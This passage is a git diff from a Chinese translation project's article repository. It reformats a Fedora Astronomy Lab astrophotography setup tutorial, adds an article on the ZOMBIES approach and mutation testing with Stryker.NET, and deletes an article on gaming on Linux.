Fedora Astronomy Lab- setting up.md +++ b/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md @@ -1,11 +1,11 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Astrophotography with Fedora Astronomy Lab: setting up) -[#]: via: (https://fedoramagazine.org/astrophotography-with-fedora-astronomy-lab-setting-up/) -[#]: author: (Geoffrey Marr https://fedoramagazine.org/author/coremodule/) +[#]: subject: "Astrophotography with Fedora Astronomy Lab: setting up" +[#]: via: "https://fedoramagazine.org/astrophotography-with-fedora-astronomy-lab-setting-up/" +[#]: author: "Geoffrey Marr https://fedoramagazine.org/author/coremodule/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Astrophotography with Fedora Astronomy Lab: setting up ====== @@ -28,21 +28,15 @@ Download Fedora Astronomy Lab from the [Fedora Labs website][4]. You will need a Before you can go capturing the heavens, you need to do some minor setup in Fedora Astronomy Lab. -First of all, you need to add your user to the _dialout_ group so that you can access certain pieces of astronomical equipment from within the guiding software. Do that by opening the terminal (Konsole) and running this command (replacing _user_ with your username): +First of all, you need to add your user to the *dialout* group so that you can access certain pieces of astronomical equipment from within the guiding software. Do that by opening the terminal (Konsole) and running this command (replacing *user* with your username): -sudo usermod -a -G dialout user - -My personal setup includes a guide camera (QHY5 series, also known as Orion Starshoot) that does not have a driver in the mainline Fedora repositories. To enable it, ypu need to install the [qhyccd SDK][9]. (_Note that this package is not officially supported by Fedora. Use it at your own risk.)_ At the time of writing, I chose to use the latest stable release, 20.08.26. Once you download the Linux 64-bit version of the SDK, to extract it: -``` +My personal setup includes a guide camera (QHY5 series, also known as Orion Starshoot) that does not have a driver in the mainline Fedora repositories. To enable it, ypu need to install the [qhyccd SDK][9]. (*Note that this package is not officially supported by Fedora. Use it at your own risk.)* At the time of writing, I chose to use the latest stable release, 20.08.26. Once you download the Linux 64-bit version of the SDK, to extract it: ``` - tar zxvf sdk_linux64_20.08.26.tgz ``` -``` - -Now change into the directory you just extracted, change the permissions of the _install.sh_ file to give you execute privileges, and run the _install.sh_: +Now change into the directory you just extracted, change the permissions of the *install.sh* file to give you execute privileges, and run the *install.sh*: ``` cd sdk_linux64_20.08.26 @@ -50,49 +44,35 @@ chmod +x install.sh sudo ./install.sh ``` -Now it’s time to install the qhyccd INDI driver. INDI is an open source software library used to control astronomical equipment. Unfortunately, the driver is unavailable in the mainline Fedora repositories, but it is in a Copr repository. (_Note: Copr is not officially supported by Fedora infrastructure. Use packages at your own risk.)_ If you prefer to have the newest (and perhaps unstable!) pieces of astronomy software, you can also enable the “bleeding” repositories at this time by following [this guide][10]. For this tutorial, you are only going to enable one repo: -``` +Now it’s time to install the qhyccd INDI driver. INDI is an open source software library used to control astronomical equipment. Unfortunately, the driver is unavailable in the mainline Fedora repositories, but it is in a Copr repository. (*Note: Copr is not officially supported by Fedora infrastructure. Use packages at your own risk.)* If you prefer to have the newest (and perhaps unstable!) pieces of astronomy software, you can also enable the “bleeding” repositories at this time by following [this guide][10]. For this tutorial, you are only going to enable one repo: ``` - sudo dnf copr enable xsnrg/indi-3rdparty-bleeding ``` -``` - Install the driver by running the following command: -``` ``` - sudo dnf install indi-qhy ``` -``` - Finally, update all of your system packages: -sudo dnf update -y - -To recap what you accomplished in this sectio: you added your user to the _dialout_ group, downloaded and installed the qhyccd driver, enabled the _indi-3rdparty-bleeding_ copr, installed the qhyccd-INDI driver with dnf, and updated your system. +To recap what you accomplished in this sectio: you added your user to the *dialout* group, downloaded and installed the qhyccd driver, enabled the *indi-3rdparty-bleeding* copr, installed the qhyccd-INDI driver with dnf, and updated your system. ### Connecting your equipment This is the time to connect all your equipment to your computer. Most astronomical equipment will connect via USB, and it’s really as easy as plugging each device into your computer’s USB ports. If you have a lot of equipment (mount, imaging camera, guide camera, focuser, filter wheel, etc), you should use an external powered-USB hub to make sure that all connected devices have adequate power. Once you have everything plugged in, run the following command to ensure that the system recognizes your equipment: -``` ``` - lsusb ``` -``` - You should see output similar to (but not the same as) the output here: ![][11] -You see in the output that the system recognizes the telescope mount (a SkyWatcher EQM-35 Pro) as _Prolific Technology, Inc. PL2303 Serial Port_, the imaging camera (a Sony a6000) as _Sony Corp. ILCE-6000_, and the guide camera (an Orion Starshoot, aka QHY5) as _Van Ouijen Technische Informatica_. Now that you have made sure your system recognizes your equipment, it’s time to open your desktop planetarium and telescope controller, KStars! +You see in the output that the system recognizes the telescope mount (a SkyWatcher EQM-35 Pro) as *Prolific Technology, Inc. PL2303 Serial Port*, the imaging camera (a Sony a6000) as *Sony Corp. ILCE-6000*, and the guide camera (an Orion Starshoot, aka QHY5) as *Van Ouijen Technische Informatica*. Now that you have made sure your system recognizes your equipment, it’s time to open your desktop planetarium and telescope controller, KStars! ### Setting up KStars @@ -100,15 +80,15 @@ It’s time to open [KStars][12], which is a desktop planetarium and also includ ![][13] -Follow the prompts to choose your home location (where you will be imaging from) and _Download Extra Data…_ +Follow the prompts to choose your home location (where you will be imaging from) and *Download Extra Data…* -![Setting your location][14] +![][14] -![“Download Extra Data”][15] +![][15] -![Choosing which catalogs to download][16] +![][16] -This will allow you to install additional star, nebula, and galaxy catalogs. You don’t need them, but they don’t take up too much space and add to the experience of using KStars. Once you’ve completed this, hit _Done_ in the bottom right corner to continue. +This will allow you to install additional star, nebula, and galaxy catalogs. You don’t need them, but they don’t take up too much space and add to the experience of using KStars. Once you’ve completed this, hit *Done* in the bottom right corner to continue. ### Getting familiar with KStars @@ -116,49 +96,49 @@ Now is a good time to play around with the KStars interface. You are greeted wit ![][17] -This is the desktop planetarium which allows you to view the placement of objects in the night sky. Double-clicking an object selects it, and right clicking on an object gives you options like _Center & Track_ which will follow the object in the planetarium, compensating for [sidereal time][18]. _Show DSS Image_ shows a real [digitized sky survey][19] image of the selected object. +This is the desktop planetarium which allows you to view the placement of objects in the night sky. Double-clicking an object selects it, and right clicking on an object gives you options like *Center & Track* which will follow the object in the planetarium, compensating for [sidereal time][18]. *Show DSS Image* shows a real [digitized sky survey][19] image of the selected object. ![][20] -Another essential feature is the _Set Time_ option in the toolbar. Clicking this will allow you to input a future (or past) time and then simulate the night sky as if that were the current date. +Another essential feature is the *Set Time* option in the toolbar. Clicking this will allow you to input a future (or past) time and then simulate the night sky as if that were the current date. -![The Set Time button][21] +![][21] ### Configuring capture equipment with Ekos -You’re familiar with the KStars layout and some basic functions, so it’s time to move on configuring your equipment using the [Ekos][22] observatory controller and automation tool. To open Ekos, click the observatory button in the toolbar or go to _Tools_ > _Ekos_. +You’re familiar with the KStars layout and some basic functions, so it’s time to move on configuring your equipment using the [Ekos][22] observatory controller and automation tool. To open Ekos, click the observatory button in the toolbar or go to *Tools* > *Ekos*. -![The Ekos button on the toolbar][23] +![][23] -You will see another setup wizard: the _Ekos Profile Wizard_. Click _Next_ to start the wizard. +You will see another setup wizard: the *Ekos Profile Wizard*. Click *Next* to start the wizard. ![][24] -In this tutorial, you have all of our equipment connected directly to your computer. A future article we will cover using an INDI server installed on a remote computer to control our equipment, allowing you to connect over a network and not have to be in the same physical space as your gear. For now though, select _Equipment is attached to this device_. +In this tutorial, you have all of our equipment connected directly to your computer. A future article we will cover using an INDI server installed on a remote computer to control our equipment, allowing you to connect over a network and not have to be in the same physical space as your gear. For now though, select *Equipment is attached to this device*. ![][25] -You are now asked to name your equipment profile. I usually name mine something like “Local Gear” to differentiate between profiles that are for remote gear, but name your profile what you wish. We will leave the button marked _Internal Guide_ checked and won’t select any additional services. Now click the _Create Profile & Select Devices_ button. +You are now asked to name your equipment profile. I usually name mine something like “Local Gear” to differentiate between profiles that are for remote gear, but name your profile what you wish. We will leave the button marked *Internal Guide* checked and won’t select any additional services. Now click the *Create Profile & Select Devices* button. ![][26] This next screen is where we can select your particular driver to use for each individual piece of equipment. This part will be specific to your setup depending on what gear you use. For this tutorial, I will select the drivers for my setup. -My mount, a [SkyWatcher EQM-35 Pro][27], uses the _EQMod Mount_ under _SkyWatcher_ in the menu (this driver is also compatible with all SkyWatcher equatorial mounts, including the [EQ6-R Pro][28] and the [EQ8-R Pro][29]). For my Sony a6000 imaging camera, I choose the _Sony DSLR_ under _DSLRs_ under the CCD category. Under _Guider_, I choose the _QHY CCD_ under _QHY_ for my Orion Starshoot (and any QHY5 series camera). That last driver we want to select will be under the Aux 1 category. We want to select _Astrometry_ from the drop-down window. This will enable the Astrometry plate-solver from within Ekos that will allow our telescope to automatically figure out where in the night sky it is pointed, saving us the time and hassle of doing a one, two, or three star calibration after setting up our mount. +My mount, a [SkyWatcher EQM-35 Pro][27], uses the *EQMod Mount* under *SkyWatcher* in the menu (this driver is also compatible with all SkyWatcher equatorial mounts, including the [EQ6-R Pro][28] and the [EQ8-R Pro][29]). For my Sony a6000 imaging camera, I choose the *Sony DSLR* under *DSLRs* under the CCD category. Under *Guider*, I choose the *QHY CCD* under *QHY* for my Orion Starshoot (and any QHY5 series camera). That last driver we want to select will be under the Aux 1 category. We want to select *Astrometry* from the drop-down window. This will enable the Astrometry plate-solver from within Ekos that will allow our telescope to automatically figure out where in the night sky it is pointed, saving us the time and hassle of doing a one, two, or three star calibration after setting up our mount. -You selected your drivers. Now it’s time to configure your telescope. Add new telescope profiles by clicking on the + button in the lower right. This is essential for computing field-of-view measurements so you can tell what your images will look like when you open the shutter. Once you click the + button, you will be presented with a form where you can enter the specifications of your telescope and guide scope. For my imaging telescope, I will enter Celestron into the _Vendor_ field, SS-80 into the _Model_ field, I will leave the _Driver_ field as None, _Type_ field as Refractor, _Aperture_ as 80mm, and _Focal Length_ as 400mm. +You selected your drivers. Now it’s time to configure your telescope. Add new telescope profiles by clicking on the + button in the lower right. This is essential for computing field-of-view measurements so you can tell what your images will look like when you open the shutter. Once you click the + button, you will be presented with a form where you can enter the specifications of your telescope and guide scope. For my imaging telescope, I will enter Celestron into the *Vendor* field, SS-80 into the *Model* field, I will leave the *Driver* field as None, *Type* field as Refractor, *Aperture* as 80mm, and *Focal Length* as 400mm. ![][30] -After you enter the data, hit the _Save_ button. You will see the data you just entered appear in the left window with an index number of 1 next to it. Now you can go about entering the specs for your guide scope following the steps above. Once you hit save here, the guide scope will also appear in the left window with an index number of 2. Once all of your scopes are entered, close this window. Now select your _Primary_ and _Guide_ telescopes from the drop-down window. +After you enter the data, hit the *Save* button. You will see the data you just entered appear in the left window with an index number of 1 next to it. Now you can go about entering the specs for your guide scope following the steps above. Once you hit save here, the guide scope will also appear in the left window with an index number of 2. Once all of your scopes are entered, close this window. Now select your *Primary* and *Guide* telescopes from the drop-down window. ![][31] -After all that work, everything should be correctly configured! Click the _Close_ button and complete the final bit of setup. +After all that work, everything should be correctly configured! Click the *Close* button and complete the final bit of setup. ### Starting your capture equipment -This last step before you can start taking images should be easy enough. Click the _Play_ button under Start & Stop Ekos to connect to your equipment. +This last step before you can start taking images should be easy enough. Click the *Play* button under Start & Stop Ekos to connect to your equipment. ![][32] @@ -166,26 +146,23 @@ You will be greeted with a screen that looks similar to this: ![][33] -When you click on the tabs at the top of the screen, they should all show a green dot next to _Connection_, indicating that they are connected to your system. On my setup, the baud rate for my mount (the EQMod Mount tab) is set incorrectly, and so the mount is not connected. +When you click on the tabs at the top of the screen, they should all show a green dot next to *Connection*, indicating that they are connected to your system. On my setup, the baud rate for my mount (the EQMod Mount tab) is set incorrectly, and so the mount is not connected. ![][34] -This is an easy fix; click on the _EQMod Mount_ tab, then the _Connection_ sub-tab, and then change the baud rate from 9600 to 115200. Now is a good time to ensure the serial port under _Ports_ is the correct serial port for your mount. You can check which port the system has mounted your device on by running the command: -``` +This is an easy fix; click on the *EQMod Mount* tab, then the *Connection* sub-tab, and then change the baud rate from 9600 to 115200. Now is a good time to ensure the serial port under *Ports* is the correct serial port for your mount. You can check which port the system has mounted your device on by running the command: ``` - ls /dev -``` | grep USB ``` -You should see _ttyUSB0_. If there is more than one USB-serial device plugged in at a time, you will see more than one ttyUSB port, with an incrementing following number. To figure out which port is correct. unplug your mount and run the command again. +You should see *ttyUSB0*. If there is more than one USB-serial device plugged in at a time, you will see more than one ttyUSB port, with an incrementing following number. To figure out which port is correct. unplug your mount and run the command again. -Now click on the _Main Control_ sub-tab, click _Connect_ again, and wait for the mount to connect. It might take a few seconds, be patient and it should connect. +Now click on the *Main Control* sub-tab, click *Connect* again, and wait for the mount to connect. It might take a few seconds, be patient and it should connect. -The last thing to do is set the sensor and pixel size parameters for my camera. Under the _Sony DSLR Alpha-A6000 (Control)_ tab, select the _Image Info_ sub-tab. This is where you can enter your sensor specifications; if you don’t know them, a quick search on the internet will bring you your sensor’s maximum resolution as well as pixel pitch. Enter this data into the right-side boxes, then press the _Set_ button to load them into the left boxes and save them into memory. Hit the _Close_ button when you are done. +The last thing to do is set the sensor and pixel size parameters for my camera. Under the *Sony DSLR Alpha-A6000 (Control)* tab, select the *Image Info* sub-tab. This is where you can enter your sensor specifications; if you don’t know them, a quick search on the internet will bring you your sensor’s maximum resolution as well as pixel pitch. Enter this data into the right-side boxes, then press the *Set* button to load them into the left boxes and save them into memory. Hit the *Close* button when you are done. ![][35] @@ -198,14 +175,14 @@ Your equipment is ready to use. In the next article, you will learn how to captu via: https://fedoramagazine.org/astrophotography-with-fedora-astronomy-lab-setting-up/ 作者:[Geoffrey Marr][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://fedoramagazine.org/author/coremodule/ -[b]: https://github.com/lujun9972 +[b]: https://github.com/lkxed [1]: https://fedoramagazine.org/wp-content/uploads/2021/02/astrophotography-setup-2-816x345.jpg [2]: https://fedoramagazine.org/wp-content/uploads/2020/11/IMG_4151-768x1024.jpg [3]: https://labs.fedoraproject.org/en/astronomy/ diff --git a/sources/tech/20210205.0 ⭐️⭐️ Why simplicity is critical to delivering sturdy applications.md b/sources/tech/20210205.0 ⭐️⭐️ Why simplicity is critical to delivering sturdy applications.md new file mode 100644 index 0000000000..ac4433957f --- /dev/null +++ b/sources/tech/20210205.0 ⭐️⭐️ Why simplicity is critical to delivering sturdy applications.md @@ -0,0 +1,203 @@ +[#]: subject: "Why simplicity is critical to delivering sturdy applications" +[#]: via: "https://opensource.com/article/21/2/simplicity" +[#]: author: "Alex Bunardzic https://opensource.com/users/alex-bunardzic" +[#]: collector: "lkxed" +[#]: translator: "toknow-gh" +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why simplicity is critical to delivering sturdy applications +====== + +In the previous articles in this series, I explained why tackling coding problems all at once, as if they were hordes of zombies, is a mistake. I'm using a helpful acronym explaining why it's better to approach problems incrementally. **ZOMBIES** stands for: + +**Z** – Zero**O** – One**M** – Many (or more complex)**B** – Boundary behaviors**I** – Interface definition**E** – Exercise exceptional behavior**S** – Simple scenarios, simple solutions + +More Great Content + +- [Free online course: RHEL technical overview][1] +- [Learn Advanced Linux Commands][2] +- [Download Cheat Sheets][3] +- [Find an Open Source Alternative][4] +- [Read Top Linux Content][5] +- [Check out open source resources][6] + +In the first four articles in this series, I demonstrated the first five **ZOMBIES** principles. The first article [implemented **Z**ero][7], which provides the simplest possible path through your code. The second article performed [tests with **O**ne and **M**any][8] samples, the third article looked at [**B**oundaries and **I**nterfaces][9], and the fourth examined [**E**xceptional behavior][10]. In this article, I'll take a look at the final letter in the acronym: **S**, which stands for "simple scenarios, simple solutions." + +### Simple scenarios, simple solutions in action + +If you go back and examine all the steps taken to implement the shopping API in this series, you'll see a purposeful decision to always stick to the simplest possible scenarios. In the process, you end up with the simplest possible solutions. + +There you have it: **ZOMBIES** help you deliver sturdy, elegant solutions by adhering to simplicity. + +### Victory? + +It might seem you're done here, and a less conscientious engineer would very likely declare victory. But enlightened engineers always probe a bit deeper. + +One exercise I always recommend is [mutation testing][11]. Before you wrap up this exercise and go on to fight new battles, it is wise to give your solution a good shakeout with mutation testing. And besides, you have to admit that _mutation_ fits well in a battle against zombies. + +Use the open source [Stryker.NET][12] to run mutation tests. + +![Mutation testing][13] + +It looks like you have one surviving mutant! That's not a good sign. + +What does this mean? Just when you thought you had a rock-solid, sturdy solution, Stryker.NET is telling you that not everything is rosy in your neck of the woods. + +Take a look at the pesky mutant who survived: + +![Surviving mutant][14] + +The mutation testing tool took the statement: + +``` +if(total > 500.00) { +``` + +and mutated it to: + +``` +if(total >= 500.00) { +``` + +Then it ran the tests and realized that none of the tests complained about the change. If there is a change in processing logic and none of the tests complain about the change, that means you have a surviving mutant. + +### Why mutation matters + +Why is a surviving mutant a sign of trouble? It's because the processing logic you craft governs the behavior of your system. If the processing logic changes, the behavior should change, too. And if the behavior changes, the expectations encoded in the tests should be violated. If these expectations are not violated, that means that the expectations are not precise enough. You have a loophole in your processing logic. + +To fix this, you need to "kill" the surviving mutant. How do you do that? Typically, the fact that a mutant survived means at least one expectation is missing. + +Look through your code to see what expectation, if any, is not there: + +- You clearly defined the expectation that a newly created basket has zero items (and, by implication, has a $0 grand total). +- You also defined the expectation that adding one item will result in the basket having one item, and if the item price is $10, the grand total will be $10. +- Furthermore, you defined the expectation that adding two items to the basket, one item priced at $10 and the other at $20, results in a grand total of $30. +- You also declared expectations regarding the removal of items from the basket. +- Finally, you defined the expectation that any order total greater than $500 results in a price discount. The business policy rule dictates that in such a case, the discount is 10% of the order's total price. + +What is missing? According to the mutation testing report, you never defined an expectation regarding what business policy rule applies when the order total is exactly $500. You defined what happens if the order total is greater than the $500 threshold and what happens when the order total is less than $500. + +Define this edge-case expectation: + +``` +[Fact] +public void Add2ItemsTotal500GrandTotal500() { + var expectedGrandTotal = 500.00; + var actualGrandTotal = 450; + Assert.Equal(expectedGrandTotal, actualGrandTotal); +} +``` + +The first stab fakes the expectation to make it fail. You now have nine microtests; eight succeed, and the ninth test fails: + +``` +[xUnit.net 00:00:00.57] tests.UnitTest1.Add2ItemsTotal500GrandTotal500 [FAIL] + X tests.UnitTest1.Add2ItemsTotal500GrandTotal500 [2ms] + Error Message: + Assert.Equal() Failure +Expected: 500 +Actual: 450 +[...] +Test Run Failed. +Total tests: 9 + Passed: 8 + Failed: 1 + Total time: 1.5920 Seconds +``` + +Replace hard-coded values with an expectation of a confirmation example: + +``` +[Fact] +public void Add2ItemsTotal500GrandTotal500() { + var expectedGrandTotal = 500.00; + Hashtable item1 = new Hashtable(); + item1.Add("0001", 400.00); + shoppingAPI.AddItem(item1); + Hashtable item2 = new Hashtable(); + item2.Add("0002", 100.00); + shoppingAPI.AddItem(item2); + var actualGrandTotal = shoppingAPI.CalculateGrandTotal(); } +``` + +You added two items, one priced at $400, the other at $100, totaling $500. After calculating the grand total, you expect that it will be $500. + +Run the system. All nine tests pass! + +``` +Total tests: 9 + Passed: 9 + Failed: 0 + Total time: 1.0440 Seconds +``` + +Now for the moment of truth. Will this new expectation remove all mutants? Run the mutation testing and check the results: + +![Mutation testing success][15] + +Success! All 10 mutants were killed. Great job; you can now ship this API with confidence. + +### Epilogue + +If there is one takeaway from this exercise, it's the emerging concept of _skillful procrastination_. It's an essential concept, knowing that many of us tend to rush mindlessly into envisioning the solution even before our customers have finished describing their problem. + +#### Positive procrastination + +Procrastination doesn't come easily to software engineers. We're eager to get our hands dirty with the code. We know by heart numerous design patterns, anti-patterns, principles, and ready-made solutions. We're itching to put them into executable code, and we lean toward doing it in large batches. So it is indeed a virtue to _hold our horses_ and carefully consider each and every step we make. + +This exercise proves how **ZOMBIES** help you take many deliberate small steps toward solutions. It's one thing to be aware of and to agree with the [Yagni][16] principle, but in the "heat of the battle," those deep considerations often fly out the window, and you end up throwing in everything and the kitchen sink. And that produces bloated, tightly coupled systems. + +### Iteration and incrementation + +Another essential takeaway from this exercise is the realization that the only way to keep a system working at all times is by adopting an _iterative approach_. You developed the shopping API by applying some _rework_, which is to say, you proceeded with coding by making changes to code that you already changed. This rework is unavoidable when iterating on a solution. + +One of the problems many teams experience is confusion related to iteration and increments. These two concepts are fundamentally different. + +An _incremental approach_ is based on the idea that you hold a crisp set of requirements (or a _blueprint_) in your hand, and you go and build the solution by working incrementally. Basically, you build it piece-by-piece, and when all pieces have been assembled, you put them together, and _voila_! The solution is ready to be shipped! + +In contrast, in an _iterative approach_, you are less certain that you know all that needs to be known to deliver the expected value to the paying customer. Because of that realization, you proceed gingerly. You're wary of breaking the system that already works (i.e., the system in a steady-state). If you disturb that balance, you always try to disturb it in the least intrusive, least invasive manner. You focus on taking the smallest imaginable batches, then quickly wrapping up your work on each batch. You prefer to have the system back to the steady-state in a matter of minutes, sometimes even seconds. + +That's why an iterative approach so often adheres to "_fake it 'til you make it_." You hard-code many expectations so that you can verify that a tiny change does not disable the system from running. You then make the changes necessary to replace the hard-coded value with real processing. + +As a rule of thumb, in an iterative approach, you aim to craft an expectation (a microtest) in such a way that it precipitates only one improvement to the code. You go one improvement by one improvement, and with each improvement, you exercise the system to make sure it is in a working state. As you proceed in that fashion, you eventually hit the stage where all the expectations have been met, and the code has been refactored in such a way that it leaves no surviving mutants. + +Once you get to that state, you can be fairly confident that you can ship the solution. + +Many thanks to inimitable [Kent Beck][17], [Ron Jeffries][18], and [GeePaw Hill][19] for being a constant inspiration on my journey to software engineering apprenticeship. + +And may _your_ journey be filled with ZOMBIES. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/simplicity + +作者:[Alex Bunardzic][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alex-bunardzic +[b]: https://github.com/lkxed/ +[1]: https://www.redhat.com/en/services/training/rh024-red-hat-linux-technical-overview?intcmp=7016000000127cYAAQ +[2]: https://developers.redhat.com/cheat-sheets/advanced-linux-commands/?intcmp=7016000000127cYAAQ +[3]: https://opensource.com/downloads/cheat-sheets?intcmp=7016000000127cYAAQ +[4]: https://opensource.com/alternatives?intcmp=7016000000127cYAAQ +[5]: https://opensource.com/tags/linux?intcmp=7016000000127cYAAQ +[6]: https://opensource.com/resources?intcmp=7016000000127cYAAQ +[7]: https://opensource.com/article/21/1/zombies-zero +[8]: https://opensource.com/article/21/1/zombies-2-one-many +[9]: https://opensource.com/article/21/1/zombies-3-boundaries-interface +[10]: https://opensource.com/article/21/1/zombies-4-exceptional-behavior +[11]: https://opensource.com/article/19/9/mutation-testing-example-definition +[12]: https://stryker-mutator.io/ +[13]: https://opensource.com/sites/default/files/uploads/stryker-net.png +[14]: https://opensource.com/sites/default/files/uploads/mutant.png +[15]: https://opensource.com/sites/default/files/uploads/stryker-net-success.png +[16]: https://martinfowler.com/bliki/Yagni.html +[17]: https://en.wikipedia.org/wiki/Kent_Beck +[18]: https://en.wikipedia.org/wiki/Ron_Jeffries +[19]: https://www.geepawhill.org/ \ No newline at end of file diff --git a/sources/tech/20210207 3 ways to play video games on Linux.md b/sources/tech/20210207 3 ways to play video games on Linux.md deleted file mode 100644 index e01c4b2e77..0000000000 --- a/sources/tech/20210207 3 ways to play video games on Linux.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (godgithubf) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 ways to play video games on Linux) -[#]: via: (https://opensource.com/article/21/2/linux-gaming) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -3 ways to play video games on Linux -====== -If you're ready to put down the popcorn and experience games from all -angles, start gaming on Linux. -![Gaming with penguin pawns][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. Today, I'll start with gaming. - -I used to think a "gamer" was a very specific kind of creature, carefully cataloged and classified by scientists after years of study and testing. I never classified myself as a gamer because most of the games I played were either on a tabletop (board games and pen-and-paper roleplaying games), NetHack, or Tetris. Now that games are available on everything from mobile devices, consoles, computers, and televisions, it feels like it's a good time to acknowledge that "gamers" come in all different shapes and sizes. If you want to call yourself a gamer, you can! There's no qualification exam. You don't have to know the Konami Code by heart (or even what that reference means); you don't have to buy and play "triple-A" games. If you enjoy a game from time to time, you can rightfully call yourself a gamer. And if you want to be a gamer, there's never been a better time to use Linux. - -### Welcome to the underground - -Peel back the glossy billboard ads, and underneath, you're sure to find a thriving gaming underground. It's a movement that began with the nascent gaming market before anyone believed money could be made off software that wasn't either a spreadsheet or typing tutor. Indie games have carved out a place in pop culture (believe it or not, [Minecraft, while not open source][2], started out as an indie game) in several ways, proving that in the eyes of players, gameplay comes before production value. - -There's a lot of cross-over in the indie and open source developer space. There's nothing quite like kicking back with your Linux laptop and browsing [itch.io][3] or your distribution's software repository for a little-known but precious gem of an open source game. - -There are all kinds of open source games available, including plenty of [first person shooters][4], puzzle games like [Nodulus][5], systems management games like [OpenTTD][6], racing games like [Jethook][7], tense escape campaigns like [Sauerbraten][8], and too many more to mention (with more arriving each year, thanks to great initiatives like [Open Jam][9]). - -![Jethook game screenshot][10] - -Jethook - -Overall, the experience of delving into the world of open source games is different than the immediate satisfaction of buying whatever a major game studio releases next. Games by the big studios provide plenty of visual and sonic stimuli, big-name actors, and upwards of 60 hours of gameplay. Independent and open source games aren't likely to match that, but then again, major studios can't match the sense of discovery and personal connection you get when you find a game that you just know nobody else _has ever heard of_. And they can't hope to match the sense of urgency you get when you realize that everybody in the world really, really needs to hear about the great game you've just played. - -Take some time to identify the kinds of games you enjoy the most, and then have a browse through your distribution's software repository, [Flathub][11], and open game jams. See what you can uncover and, if you like the game enough, help to promote it! - -### Proton and WINE - -Gaming on Linux doesn't stop with open source, but it is enabled by it. When Valve Software famously brought Linux back into the gaming market a few years ago by releasing their Steam client for Linux, the hope was that it would compel game studios to write code native to Linux systems. Some did, but Valve failed to push Linux as the primary platform even on their own Valve-branded gaming computers, and it seems that most studios have reverted to their old ways of Windows-only games. - -Interestingly, though, the end result has produced more open source code than probably intended. Valve's solution for Linux compatibility has been to create the [Proton][12] project, a compatibility layer to translate Windows games to Linux. At its core, Proton uses [WINE (Wine Is Not an Emulator)][13], the too-good-to-be-true reimplementation of major Windows libraries as open source. - -The game market's spoils have turned out to be a treasure trove for the open source world, and today, most games from major studios can be run on Linux as if they were native. - -Of course, if you're the type of gamer who has to have the latest title on the day of release, you can certainly expect unpleasant surprises. That's not surprising, though, because few major games are released without bugs requiring large patches a week later. Those bugs can be even worse when a game runs on Proton and WINE, so Linux gamers often benefit by refraining from early adoption. The trade-off may be worth it, though. I've played a few games that run perfectly on Proton, only to discover later from angry forum posts that it's apparently riddled with fatal errors when played on the latest version of Windows. In short, it seems that games from major studios aren't perfect, and so you can expect similar-but-different problems when playing them on Linux as you would on Windows. - -### Flatpak - -One of the most exciting developments of recent Linux history is [Flatpak][14], a cross between local containers and packaging. It's got nothing to do with gaming (or doesn't it?), but it enables Linux applications to essentially be distributed universally to any Linux distribution. This applies to gaming because there are often lots of fringe technologies used in games, and it can be pretty demanding on distribution maintainers to keep up with all the latest versions required by any given game. - -Flatpak abstracts that away from the distribution by establishing a common Flatpak-specific layer for application libraries. Distributors of flatpaks know that if a library isn't in a Flatpak SDK, then it must be included in the flatpak. It's simple and straightforward. - -Thanks to Flatpak, the Steam client runs on something obvious like Fedora and on distributions not traditionally geared toward the gaming market, like [RHEL][15] and Slackware! - -### Lutris - -If you're not eager to sign up on Steam, though, there's my preferred gaming client, [Lutris][16]. On the surface, Lutris is a simple game launcher for your system, a place you can go when you know you want to play a game but just can't decide what to launch yet. With Lutris, you can add [all the games you have on your system][17] to create your own gaming library, and then launch and play them right from the Lutris interface. Better still, Lutris contributors (like me!) regularly publish installer scripts to make it easy for you to install games you own. It's not always necessary, but it can be a nice shortcut to bypass some tedious configuration. - -Lutris can also enlist the help of _runners_, or subsystems that run games that wouldn't normally launch straight from your application menu. For instance, if you want to play console games like the open source [Warcraft Tower Defense][18], you must run an emulator, and Lutris can handle that for you (provided you have the emulator installed). Additionally, should you have a GOG.com (Good Old Games) account, Lutris can access it and import games from your library. - -There's no easier way to manage your games. - -### Play games - -Linux gaming is a fulfilling and empowering experience. I used to avoid computer gaming because I didn't feel I had much of a choice. It seemed that there were always expensive games being released, which inevitably got extreme reactions from happy and unhappy gamers alike, and then the focus shifted quickly to the next big thing. On the other hand, open source gaming has introduced me to the _people_ of the gaming world. I've met other players and developers, I've met artists and musicians, fans and promoters, and I've played an assortment of games that I never even realized existed. Some of them were barely long enough to distract me for just one afternoon, while others have provided me hours and hours of obsessive gameplay, modding, level design, and fun. - -If you're ready to put down the popcorn and experience games from all angles, start gaming on Linux. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-gaming - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) -[2]: https://opensource.com/alternatives/minecraft -[3]: https://itch.io/jam/open-jam-2020 -[4]: https://opensource.com/article/20/5/open-source-fps-games -[5]: https://hyperparticle.itch.io/nodulus -[6]: https://www.openttd.org/ -[7]: https://rcorre.itch.io/jethook -[8]: http://sauerbraten.org/ -[9]: https://opensource.com/article/18/9/open-jam-announcement -[10]: 